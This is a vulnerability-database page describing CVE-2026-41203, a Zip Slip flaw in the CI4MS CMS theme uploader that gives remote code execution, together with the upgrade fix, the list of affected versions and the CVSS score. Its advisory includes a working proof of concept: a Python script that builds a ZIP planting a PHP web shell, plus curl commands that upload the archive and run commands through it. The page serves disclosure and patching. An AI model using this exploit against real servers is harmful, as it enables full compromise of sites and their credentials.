Loading...
Skip to main content

CVE-2026-41203 — Vulnerability in ci4-cms-erp/ci4ms — CVE Details

CRITICAL

CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Published April 22, 2026Updated May 8, 2026Source: osv

Summary

### Summary ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root. ### Details modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination: ```php public function upload() { $valData = ([ 'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'], ]); if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors()); $file = $this->request->getFile('theme'); $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/'; $zip = new \ZipArchive(); if ($zip->open($file->getTempName()) === true) { $zip->extractTo($tempPath); // no entry-name validation $zip->close(); } ... $log = install_theme_from_tmp($themeName); ... } ``` A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here. Routing: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly. A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4. ### PoC Build the archive: ```python python3 -c " import zipfile with zipfile.ZipFile('evil_theme.zip','w') as z: z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>') z.writestr('info.xml', '<theme name=\"x\"/>') " ``` Upload through the Theme manager with an authenticated session that has theme create: ```bash curl -i -b 'ci4ms_session=<SESSION_ID>' \ -F 'theme=@evil_theme.zip' \ https://target.example.com/backend/themes/themesUpload ``` Trigger the shell: ```bash curl 'https://target.example.com/shell.php?c=id' # uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Advisory Timeline

  • First published April 22, 2026 (173 days ago).
  • Last revised May 8, 2026 — 16 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update ci4-cms-erp/ci4ms to 0.31.5.0 or later
composer require "ci4-cms-erp/ci4ms:^0.31.5.0"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
ci4-cms-erp/ci4ms
packagist
0.21.0, 0.21.1, 0.21.2, 0.21.3 (+48 more)0.31.5.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-41203?
CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-41203?
CVE-2026-41203 affects ci4-cms-erp/ci4ms. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41203 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-xv3r-vr59-95rg

Related CVEs

  • CVE-2026-34563
    CRITICAL

    CI4MS: Backup Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM Blind XSS

  • CVE-2026-34571
    CRITICAL

    CI4MS: Stored Cross‑Site Scripting (Stored XSS) in Backend User Management Allows Session Hijacking and Full Administrative Account Compromise

  • CVE-2026-34569
    CRITICAL

    CI4MS: Blogs Categories Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

  • CVE-2026-34564
    CRITICAL

    CI4MS: Menu Management (Pages) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

  • CVE-2026-34561
    CRITICAL

    CI4MS: System Settings (Social Media Management) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

  • CVE-2026-25510
    CRITICAL

    CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor

  • CVE-2026-34572
    HIGH

    CI4MS: Account Deactivation Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)

  • CVE-2026-45270
    HIGH

    CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies